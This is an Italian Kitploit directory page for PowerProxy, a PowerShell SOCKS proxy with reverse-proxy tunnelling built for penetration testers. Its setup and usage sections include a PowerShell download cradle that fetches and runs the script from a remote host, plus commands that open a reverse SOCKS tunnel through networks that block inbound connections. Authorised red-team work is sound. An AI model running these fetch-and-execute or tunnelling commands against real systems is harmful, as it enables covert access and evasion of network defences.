Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
PowerProxy — Proxy SOCKS PowerShell con funzionalità di proxy inverso | Kitploit
Strumenti/GitHubGitHub/get-get-get-get/powerproxy
Sicurezza di RetePenetration TestingCommand and ControlRed Teaming
GitHubget-get-get-get/powerproxy

PowerProxy

Proxy SOCKS PowerShell con funzionalità di proxy inverso

Vedi Repository
84136 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

PowerProxy

PowerShell SOCKS proxy con capacità di reverse proxy.

PowerProxy è scritto pensando ai penetration tester. La funzionalità di reverse proxy è una priorità, per attraversare reti che bloccano le connessioni in entrata. Le connessioni reverse proxy sono crittografate per impostazione predefinita. L'autenticazione con nome utente/password è supportata per le connessioni Socks 5.

Configurazione

Importa lo script:

root@kitploit:~
iex (new-object net.webclient).downloadstring("http://192.168.0.22/PowerProxy.ps1") 
# OPPURE
Import-Module \\192.168.0.22\Public\PowerProxy.ps1

reverse_proxy_handler.py può creare certificati SSL temporanei, il che richiede OpenSSL. Se OpenSSL non è installato sulla tua macchina (lo è sulla maggior parte dei sistemi basati su Linux/Unix), fornisci il tuo certificato o usa l'opzione --no-encrypt.

Utilizzo

Per un utilizzo dettagliato, consulta l'aiuto di PowerProxy, o usa ./reverse_proxy_handler.py --help

Eseguire un reverse proxy

Sulla macchina locale, avvia l'handler:

root@kitploit:~
# Ascolta per reverse proxy sulla porta 8080. I client si connettono alla porta 1080 (predefinita)
./reverse_proxy_handler.py -p 8080 

In PowerShell:

root@kitploit:~
Start-ReverseSocksProxy 172.1.1.20 -Port 8080

I client proxy possono trattare il server creato da reverse_proxy_handler.py come se fosse il server SOCKS reale:

root@kitploit:~
curl --socks4 127.0.0.1:1080 http://10.10.2.69/

Eseguire un server SOCKS tradizionale

root@kitploit:~
Start-SocksProxy 172.10.2.20 -Port 9050

Richiedere autenticazione

Usa oggetti PSCredential per richiedere nome utente e password:

root@kitploit:~
# Crea la credenziale
$Password = ConvertTo-SecureString -AsPlaintext -Force "Passw0rd123"
$Cred = New-Object System.Management.Automation.PSCredential ("ProxyUser", $Password)

Start-ReverseSocksProxy -Credential $Cred -Address 10.10.10.24 -Verbose

Limitazioni

  • Al momento, sono supportate solo richieste CONNECT. Il supporto per BIND è un obiettivo, se praticabile.
  • L'autenticazione GSSAPI non è supportata.
  • reverse_proxy_handler.py è testato solo su macchine basate su UNIX, e probabilmente non funziona su Windows.
Scarica lo strumento